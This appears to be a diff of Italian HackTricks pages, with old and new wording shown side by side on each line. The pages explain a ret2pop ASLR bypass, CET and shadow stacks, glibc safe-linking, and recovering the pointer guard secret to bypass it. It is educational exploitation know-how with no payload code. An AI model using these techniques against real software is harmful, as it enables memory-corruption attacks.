Se quell'indirizzo punta al nostro shellcode nello stack, è possibile far raggiungere il flusso a quell'indirizzo **aggiungendo indirizzi all'istruzione `ret`** fino a quando questo non viene raggiunto. Se quell'indirizzo punta al nostro shellcode nello stack, è possibile far sì che il flusso raggiunga quell'indirizzo **aggiungendo indirizzi all'istruzione `ret`** fino a quando questo non viene raggiunto.
Pertanto l'attacco sarebbe così composto: Pertanto l'attacco sarebbe così strutturato:
* NOP sled * NOP sled
* Shellcode * Shellcode
@ -38,20 +39,21 @@ In questo modo, i **dati prima del puntatore perfetto verranno rimossi** dallo s
Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puoi vedere un esempio di un binario vulnerabile e [**in questo**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) l'exploit. Seguendo [**questo link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) puoi vedere un esempio di un binario vulnerabile e [**in questo**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) l'exploit.
## References ## Riferimenti
* [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md) * [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md)
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) nei repository di github.
</details> </details>
{% endhint %}

View file

@ -1,49 +1,51 @@
# CET & Shadow Stack # CET & Shadow Stack
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Control Flow Enforcement Technology (CET) ## Controllo del Flusso Tecnologia di Applicazione (CET)
**CET** è una funzionalità di sicurezza implementata a livello hardware, progettata per contrastare attacchi comuni di dirottamento del flusso di controllo come **Return-Oriented Programming (ROP)** e **Jump-Oriented Programming (JOP)**. Questi tipi di attacchi manipolano il flusso di esecuzione di un programma per eseguire codice dannoso o concatenare insieme pezzi di codice benigno in modo da eseguire un'azione dannosa. **CET** è una funzionalità di sicurezza implementata a livello hardware, progettata per contrastare comuni attacchi di dirottamento del flusso di controllo come **Return-Oriented Programming (ROP)** e **Jump-Oriented Programming (JOP)**. Questi tipi di attacchi manipolano il flusso di esecuzione di un programma per eseguire codice dannoso o concatenare insieme pezzi di codice benigno in modo da eseguire un'azione dannosa.
CET introduce due funzionalità principali: **Indirect Branch Tracking (IBT)** e **Shadow Stack**. CET introduce due funzionalità principali: **Indirect Branch Tracking (IBT)** e **Shadow Stack**.
* **IBT** garantisce che salti e chiamate indirette vengano effettuati verso destinazioni valide, che sono esplicitamente contrassegnate come destinazioni legali per i branch indiretti. Ciò viene realizzato attraverso l'uso di un nuovo set di istruzioni che contrassegna i target validi, impedendo così agli attaccanti di deviare il flusso di controllo verso posizioni arbitrarie. * **IBT** garantisce che i salti e le chiamate indirette vengano effettuati verso destinazioni valide, che sono esplicitamente contrassegnate come destinazioni legali per i rami indiretti. Ciò viene realizzato attraverso l'uso di un nuovo set di istruzioni che contrassegna le destinazioni valide, impedendo così agli attaccanti di deviare il flusso di controllo verso posizioni arbitrarie.
* **Shadow Stack** è un meccanismo che fornisce integrità per gli indirizzi di ritorno. Mantiene una copia sicura e nascosta degli indirizzi di ritorno separata dallo stack di chiamata regolare. Quando una funzione ritorna, l'indirizzo di ritorno viene convalidato rispetto allo shadow stack, impedendo agli attaccanti di sovrascrivere gli indirizzi di ritorno nello stack per dirottare il flusso di controllo. * **Shadow Stack** è un meccanismo che fornisce integrità per gli indirizzi di ritorno. Mantiene una copia sicura e nascosta degli indirizzi di ritorno separata dallo stack di chiamata regolare. Quando una funzione ritorna, l'indirizzo di ritorno viene convalidato rispetto allo shadow stack, impedendo agli attaccanti di sovrascrivere gli indirizzi di ritorno sullo stack per dirottare il flusso di controllo.
## Shadow Stack ## Shadow Stack
Il **shadow stack** è uno **stack dedicato utilizzato esclusivamente per memorizzare gli indirizzi di ritorno**. Lavora insieme allo stack regolare ma è protetto e nascosto dall'esecuzione normale del programma, rendendo difficile per gli attaccanti manometterlo. L'obiettivo principale dello shadow stack è garantire che eventuali modifiche agli indirizzi di ritorno nello stack convenzionale vengano rilevate prima che possano essere utilizzate, mitigando efficacemente gli attacchi ROP. Lo **shadow stack** è uno **stack dedicato utilizzato esclusivamente per memorizzare gli indirizzi di ritorno**. Lavora insieme allo stack regolare ma è protetto e nascosto dall'esecuzione normale del programma, rendendo difficile per gli attaccanti manometterlo. L'obiettivo principale dello shadow stack è garantire che eventuali modifiche agli indirizzi di ritorno sullo stack convenzionale vengano rilevate prima che possano essere utilizzate, mitigando efficacemente gli attacchi ROP.
## Come CET e Shadow Stack Prevengono gli Attacchi ## Come CET e Shadow Stack Prevengono gli Attacchi
Gli attacchi **ROP e JOP** si basano sulla capacità di dirottare il flusso di controllo di un'applicazione sfruttando vulnerabilità che consentono loro di sovrascrivere puntatori o indirizzi di ritorno nello stack. Indirizzando il flusso verso sequenze di gadget di codice esistenti o gadget di programmazione orientata al ritorno, gli attaccanti possono eseguire codice arbitrario. Gli attacchi **ROP e JOP** si basano sulla capacità di dirottare il flusso di controllo di un'applicazione sfruttando vulnerabilità che consentono di sovrascrivere puntatori o indirizzi di ritorno sullo stack. Indirizzando il flusso verso sequenze di gadget di codice esistenti o gadget di programmazione orientata al ritorno, gli attaccanti possono eseguire codice arbitrario.
* La funzionalità **IBT di CET** rende questi attacchi significativamente più difficili garantendo che i branch indiretti possano saltare solo a indirizzi che sono stati esplicitamente contrassegnati come target validi. Ciò rende impossibile agli attaccanti eseguire gadget arbitrari distribuiti nel binario. * La funzionalità **IBT di CET** rende questi attacchi significativamente più difficili garantendo che i rami indiretti possano saltare solo a indirizzi che sono stati esplicitamente contrassegnati come destinazioni valide. Ciò rende impossibile agli attaccanti eseguire gadget arbitrari distribuiti nel binario.
* Lo **shadow stack**, d'altra parte, garantisce che anche se un attaccante può sovrascrivere un indirizzo di ritorno sullo stack normale, la **discrepanza verrà rilevata** confrontando l'indirizzo corrotto con la copia sicura memorizzata nello shadow stack al ritorno da una funzione. Se gli indirizzi non corrispondono, il programma può terminare o adottare altre misure di sicurezza, impedendo all'attacco di avere successo. * Lo **shadow stack**, d'altra parte, garantisce che anche se un attaccante può sovrascrivere un indirizzo di ritorno sullo stack normale, la **discrepanza verrà rilevata** confrontando l'indirizzo corrotto con la copia sicura memorizzata nello shadow stack al ritorno da una funzione. Se gli indirizzi non corrispondono, il programma può terminare o adottare altre misure di sicurezza, impedendo all'attacco di avere successo.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Protezioni di Libc # Protezioni di Libc
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
</details> </details>
{% endhint %}
## Applicazione dell'Allineamento dei Chunk ## Applicazione dell'Allineamento dei Chunk
**Malloc** alloca memoria in **gruppi di 8 byte (32-bit) o 16 byte (64-bit)**. Ciò significa che la fine dei chunk nei sistemi a 32 bit dovrebbe allinearsi con **0x8**, e nei sistemi a 64 bit con **0x0**. La funzionalità di sicurezza controlla che ogni chunk **si allinei correttamente** in queste posizioni specifiche prima di utilizzare un puntatore da un bin. **Malloc** alloca memoria in **gruppI di 8 byte (32-bit) o 16 byte (64-bit)**. Ciò significa che la fine dei chunk nei sistemi a 32-bit dovrebbe allinearsi con **0x8**, e nei sistemi a 64-bit con **0x0**. La funzionalità di sicurezza controlla che ogni chunk si **allinei correttamente** a queste posizioni specifiche prima di utilizzare un puntatore da un bin.
### Benefici per la Sicurezza ### Benefici per la Sicurezza
L'applicazione dell'allineamento dei chunk nei sistemi a 64 bit migliora significativamente la sicurezza di Malloc limitando il posizionamento dei chunk falsi a solo 1 su ogni 16 indirizzi. Ciò complica gli sforzi di exploit, specialmente in scenari in cui l'utente ha un controllo limitato sui valori di input, rendendo gli attacchi più complessi e difficili da eseguire con successo. L'applicazione dell'allineamento dei chunk nei sistemi a 64-bit migliora significativamente la sicurezza di Malloc limitando il posizionamento dei chunk falsi a solo 1 su ogni 16 indirizzi. Ciò complica gli sforzi di exploit, specialmente in scenari in cui l'utente ha un controllo limitato sui valori di input, rendendo gli attacchi più complessi e difficili da eseguire con successo.
* **Attacco Fastbin su \_\_malloc\_hook** * **Attacco Fastbin su \_\_malloc\_hook**
@ -28,29 +29,29 @@ Le nuove regole di allineamento in Malloc ostacolano anche un attacco classico c
## Mascheramento dei Puntatori su fastbins e tcache ## Mascheramento dei Puntatori su fastbins e tcache
Il **Mascheramento dei Puntatori** è un potenziamento della sicurezza utilizzato per proteggere i **puntatori Fd di fastbin e tcache** nelle operazioni di gestione della memoria. Questa tecnica aiuta a prevenire certi tipi di tattiche di exploit di memoria, in particolare quelle che non richiedono informazioni di memoria divulgate o che manipolano direttamente le posizioni di memoria relative a posizioni conosciute (sovrascritture **relative**). Il **Mascheramento dei Puntatori** è un potenziamento della sicurezza utilizzato per proteggere i **puntatori Fd di fastbin e tcache** nelle operazioni di gestione della memoria. Questa tecnica aiuta a prevenire certe tattiche di exploit di memoria, in particolare quelle che non richiedono informazioni di memoria divulgate o che manipolano direttamente le posizioni di memoria relative a posizioni conosciute (sovrascritture **relative**).
Il cuore di questa tecnica è una formula di oscuramento: Il cuore di questa tecnica è una formula di oscuramento:
**`Nuovo_Ptr = (L >> 12) XOR P`** **`Nuovo_Ptr = (L >> 12) XOR P`**
* **L** è la **Posizione di Archiviazione** del puntatore. * **L** è la **Posizione di Archiviazione** del puntatore.
* **P** è il vero **Puntatore Fd di fastbin/tcache**. * **P** è il vero **puntatore Fd di fastbin/tcache**.
Il motivo per cui lo spostamento bit a bit della posizione di archiviazione (L) di 12 bit verso destra prima dell'operazione XOR è critico. Questa manipolazione affronta una vulnerabilità intrinseca nella natura deterministica dei 12 bit meno significativi degli indirizzi di memoria, che sono tipicamente prevedibili a causa dei vincoli dell'architettura di sistema. Spostando i bit, la porzione prevedibile viene esclusa dall'equazione, migliorando la casualità del nuovo puntatore mascherato e proteggendo così dagli exploit che si basano sulla prevedibilità di questi bit. La ragione dello spostamento bitwise della posizione di archiviazione (L) di 12 bit a destra prima dell'operazione XOR è critica. Questa manipolazione affronta una vulnerabilità intrinseca nella natura deterministica dei 12 bit meno significativi degli indirizzi di memoria, che sono tipicamente prevedibili a causa dei vincoli dell'architettura di sistema. Spostando i bit, la parte prevedibile viene esclusa dall'equazione, migliorando la casualità del nuovo puntatore mascherato e proteggendo così contro exploit che si basano sulla prevedibilità di questi bit.
Questo puntatore mascherato sfrutta la casualità esistente fornita dalla **Randomizzazione dello Spazio degli Indirizzi (ASLR)**, che randomizza gli indirizzi utilizzati dai programmi per rendere difficile ai malintenzionati prevedere la disposizione della memoria di un processo. Questo puntatore mascherato sfrutta la casualità esistente fornita dalla **Randomizzazione dello Spazio degli Indirizzi (ASLR)**, che randomizza gli indirizzi utilizzati dai programmi per rendere difficile agli attaccanti prevedere la disposizione della memoria di un processo.
**Demascherare** il puntatore per recuperare l'indirizzo originale coinvolge l'utilizzo della stessa operazione XOR. Qui, il puntatore mascherato è trattato come P nella formula, e quando XORato con la posizione di archiviazione invariata (L), si ottiene il puntatore originale. Questa simmetria nel mascheramento e demascheramento garantisce che il sistema possa codificare e decodificare efficientemente i puntatori senza un overhead significativo, aumentando notevolmente la sicurezza contro gli attacchi che manipolano i puntatori di memoria. **Demascherare** il puntatore per recuperare l'indirizzo originale coinvolge l'utilizzo della stessa operazione XOR. Qui, il puntatore mascherato è trattato come P nella formula e, quando XORato con la posizione di archiviazione invariata (L), si ottiene il puntatore originale. Questa simmetria nel mascheramento e demascheramento garantisce che il sistema possa codificare e decodificare efficientemente i puntatori senza un overhead significativo, aumentando notevolmente la sicurezza contro attacchi che manipolano i puntatori di memoria.
### Benefici per la Sicurezza ### Benefici per la Sicurezza
Il mascheramento dei puntatori mira a **prevenire sovrascritture parziali e complete dei puntatori nell'heap**, un miglioramento significativo in termini di sicurezza. Questa funzionalità influisce sulle tecniche di exploit in diversi modi: Il mascheramento dei puntatori mira a **prevenire sovrascritture parziali e complete dei puntatori nell'heap**, un miglioramento significativo in termini di sicurezza. Questa funzionalità influisce sulle tecniche di exploit in diversi modi:
1. **Prevenzione delle Sovrascritture Relative di Byte**: Precedentemente, gli attaccanti potevano modificare parte di un puntatore per **reindirizzare i chunk dell'heap verso posizioni diverse senza conoscere gli indirizzi esatti**, una tecnica evidente nell'exploit **House of Roman** senza leak. Con il mascheramento dei puntatori, tali sovrascritture relative **senza un leak dell'heap richiedono ora un attacco a forza bruta**, riducendo drasticamente la probabilità di successo. 1. **Prevenzione delle Sovrascritture Relative di Byte**: Precedentemente, gli attaccanti potevano modificare parte di un puntatore per **reindirizzare i chunk dell'heap a posizioni diverse senza conoscere gli indirizzi esatti**, una tecnica evidente nell'exploit **House of Roman** senza leak. Con il mascheramento dei puntatori, tali sovrascritture relative **senza un leak dell'heap richiedono ora un attacco di forza bruta**, riducendo drasticamente la probabilità di successo.
2. **Aumento della Difficoltà degli Attacchi a Tcache Bin/Fastbin**: Gli attacchi comuni che sovrascrivono i puntatori di funzione (come `__malloc_hook`) manipolando le voci fastbin o tcache sono ostacolati. Ad esempio, un attacco potrebbe coinvolgere il leak di un indirizzo LibC, liberare un chunk nel tcache bin, e quindi sovrascrivere il puntatore Fd per reindirizzarlo a `__malloc_hook` per l'esecuzione di codice arbitrario. Con il mascheramento dei puntatori, questi puntatori devono essere correttamente mascherati, **necessitando di un leak dell'heap per una manipolazione accurata**, elevando così la barriera dell'exploit. 2. **Aumento della Difficoltà degli Attacchi ai Bin Tcache/Fastbin**: Gli attacchi comuni che sovrascrivono i puntatori di funzione (come `__malloc_hook`) manipolando le voci fastbin o tcache sono ostacolati. Ad esempio, un attacco potrebbe coinvolgere il leak di un indirizzo LibC, il rilascio di un chunk nel bin tcache e quindi la sovrascrittura del puntatore Fd per reindirizzarlo a `__malloc_hook` per l'esecuzione di codice arbitrario. Con il mascheramento dei puntatori, questi puntatori devono essere correttamente mascherati, **necessitando di un leak dell'heap per una manipolazione accurata**, elevando così la barriera di exploit.
3. **Necessità di Leak dell'Heap in Posizioni Non-Heap**: Creare un chunk falso in aree non-heap (come lo stack, la sezione .bss o PLT/GOT) ora richiede anche un leak dell'heap a causa della necessità di mascheramento dei puntatori. Ciò estende la complessità nell'exploit di queste aree, simile alla necessità di manipolare gli indirizzi LibC. 3. **Necessità di Leak dell'Heap in Posizioni non-Heap**: Creare un chunk falso in aree non-heap (come lo stack, la sezione .bss o PLT/GOT) ora richiede anche un leak dell'heap a causa della necessità di mascheramento dei puntatori. Ciò estende la complessità nell'exploit di queste aree, simile alla necessità di manipolare gli indirizzi LibC.
4. **Rendere più Complicato il Leak degli Indirizzi dell'Heap**: Il mascheramento dei puntatori limita l'utilità dei puntatori Fd nei fastbin e tcache bin come fonti di leak degli indirizzi dell'heap. Tuttavia, i puntatori nei bin non ordinati, piccoli e grandi rimangono non mascherati, quindi ancora utilizzabili per il leak degli indirizzi. Questo spinge gli attaccanti a esplorare questi bin per informazioni sfruttabili, anche se alcune tecniche potrebbero ancora consentire di demascherare i puntatori prima di un leak, sebbene con vincoli. 4. **Rendere più Complicato il Leak degli Indirizzi dell'Heap**: Il mascheramento dei puntatori limita l'utilità dei puntatori Fd nei bin fastbin e tcache come fonti di leak degli indirizzi dell'heap. Tuttavia, i puntatori nei bin non ordinati, piccoli e grandi rimangono non mascherati, quindi ancora utilizzabili per il leak degli indirizzi. Questo spinge gli attaccanti a esplorare questi bin per informazioni sfruttabili, anche se alcune tecniche potrebbero ancora consentire di demascherare i puntatori prima di un leak, sebbene con vincoli.
### **Demascherare i Puntatori con un Leak dell'Heap** ### **Demascherare i Puntatori con un Leak dell'Heap**
@ -68,24 +69,24 @@ Dove **L** è la posizione di archiviazione e **P** è il puntatore Fd. Quando *
**Passaggi Chiave nell'Algoritmo:** **Passaggi Chiave nell'Algoritmo:**
1. **Leak Iniziale dei Bit più Significativi**: XORando lo spostato **L** con **P**, si ottengono efficacemente i primi 12 bit di **P** poiché la porzione spostata di **L** sarà zero, lasciando invariati i bit corrispondenti di **P**. 1. **Leak Iniziale dei Bit più Significativi**: XORando il **L** spostato con **P**, si ottengono efficacemente i primi 12 bit di **P** poiché la parte spostata di **L** sarà zero, lasciando invariati i bit corrispondenti di **P**.
2. **Recupero dei Bit del Puntatore**: Poiché XOR è reversibile, conoscere il risultato e uno degli operandi consente di calcolare l'altro operando. Questa proprietà è utilizzata per dedurre l'intero set di bit per **P** XORando successivamente set di bit con parti del puntatore mascherato. 2. **Recupero dei Bit del Puntatore**: Poiché XOR è reversibile, conoscere il risultato e uno degli operandi consente di calcolare l'altro operando. Questa proprietà è utilizzata per dedurre l'intero set di bit per **P** XORando successivamente set di bit con parti del puntatore mascherato.
3. **Demascheramento Iterativo**: Il processo viene ripetuto, ogni volta utilizzando i bit di **P** appena scoperti dal passaggio precedente per decodificare il segmento successivo del puntatore mascherato, fino a quando tutti i bit sono recuperati. 3. **Demascheramento Iterativo**: Il processo viene ripetuto, ogni volta utilizzando i bit di **P** appena scoperti dal passaggio precedente per decodificare il segmento successivo del puntatore mascherato, fino a quando tutti i bit sono recuperati.
4. **Gestione dei Bit Deterministici**: I 12 bit finali di **L** vengono persi a causa dello spostamento, ma sono deterministici e possono essere ricostruiti post-processo. 4. **Gestione dei Bit Deterministici**: I 12 bit finali di **L** vengono persi a causa dello spostamento, ma sono deterministici e possono essere ricostruiti dopo il processo.
Puoi trovare un'implementazione di questo algoritmo qui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) Puoi trovare un'implementazione di questo algoritmo qui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Protezione Pointer Guard ## Protezione Pointer Guard
Pointer guard è una tecnica di mitigazione degli exploit utilizzata in glibc per proteggere i puntatori di funzione memorizzati, in particolare quelli registrati dalle chiamate di libreria come `atexit()`. Questa protezione coinvolge la mescolatura dei puntatori tramite XOR con un segreto memorizzato nei dati del thread (`fs:0x30`) e l'applicazione di una rotazione bit a bit. Questo meccanismo mira a impedire agli attaccanti di dirottare il flusso di controllo sovrascrivendo i puntatori di funzione. Pointer guard è una tecnica di mitigazione degli exploit utilizzata in glibc per proteggere i puntatori alle funzioni memorizzate, in particolare quelli registrati dalle chiamate di libreria come `atexit()`. Questa protezione coinvolge la mescolanza dei puntatori tramite XOR con un segreto memorizzato nei dati del thread (`fs:0x30`) e l'applicazione di una rotazione bit a bit. Questo meccanismo mira a impedire agli attaccanti di dirottare il flusso di controllo sovrascrivendo i puntatori alle funzioni.
### **Bypass di Pointer Guard con un leak** ### **Bypass di Pointer Guard con un leak**
1. **Comprensione delle Operazioni di Pointer Guard:** La mescolatura dei puntatori avviene utilizzando la macro `PTR_MANGLE` che esegue l'XOR del puntatore con un segreto a 64 bit e poi esegue una rotazione a sinistra di 0x11 bit. L'operazione inversa per recuperare il puntatore originale è gestita da `PTR_DEMANGLE`. 1. **Comprensione delle Operazioni di Pointer Guard:** La mescolanza dei puntatori avviene utilizzando la macro `PTR_MANGLE` che esegue l'XOR del puntatore con un segreto a 64 bit e poi esegue una rotazione a sinistra di 0x11 bit. L'operazione inversa per recuperare il puntatore originale è gestita da `PTR_DEMANGLE`.
2. **Strategia di Attacco:** L'attacco si basa su un approccio di testo noto, dove l'attaccante deve conoscere sia la versione originale che quella mescolata di un puntatore per dedurre il segreto usato per la mescolatura. 2. **Strategia di Attacco:** L'attacco si basa su un approccio di testo noto, dove l'attaccante deve conoscere sia la versione originale che quella mescolata di un puntatore per dedurre il segreto usato per la mescolanza.
3. **Sfruttare i Testi Noto:** 3. **Sfruttare i Testi Noto:**
* **Identificare i Puntatori di Funzione Fissi:** Esaminando il codice sorgente di glibc o le tabelle dei puntatori di funzione inizializzati (come `__libc_pthread_functions`), un attaccante può trovare puntatori di funzione prevedibili. * **Identificare i Puntatori alle Funzioni Fissi:** Esaminando il codice sorgente di glibc o le tabelle dei puntatori alle funzioni inizializzate (come `__libc_pthread_functions`), un attaccante può trovare puntatori alle funzioni prevedibili.
* **Calcolare il Segreto:** Utilizzando un puntatore di funzione noto come `__pthread_attr_destroy` e la sua versione mescolata dalla tabella dei puntatori di funzione, il segreto può essere calcolato ruotando all'indietro (rotazione a destra) il puntatore mescolato e quindi facendo XOR con l'indirizzo della funzione. * **Calcolare il Segreto:** Utilizzando un puntatore alle funzioni noto come `__pthread_attr_destroy` e la sua versione mescolata dalla tabella dei puntatori alle funzioni, il segreto può essere calcolato ruotando all'indietro (rotazione a destra) il puntatore mescolato e quindi facendo l'XOR con l'indirizzo della funzione.
4. **Testi Alternativi:** L'attaccante può anche sperimentare la mescolatura dei puntatori con valori noti come 0 o -1 per vedere se questi producono pattern identificabili in memoria, rivelando potenzialmente il segreto quando tali pattern vengono trovati negli snapshot di memoria. 4. **Testi Alternativi:** L'attaccante può anche sperimentare la mescolanza dei puntatori con valori noti come 0 o -1 per vedere se questi producono pattern identificabili in memoria, rivelando potenzialmente il segreto quando questi pattern vengono trovati negli snapshot di memoria.
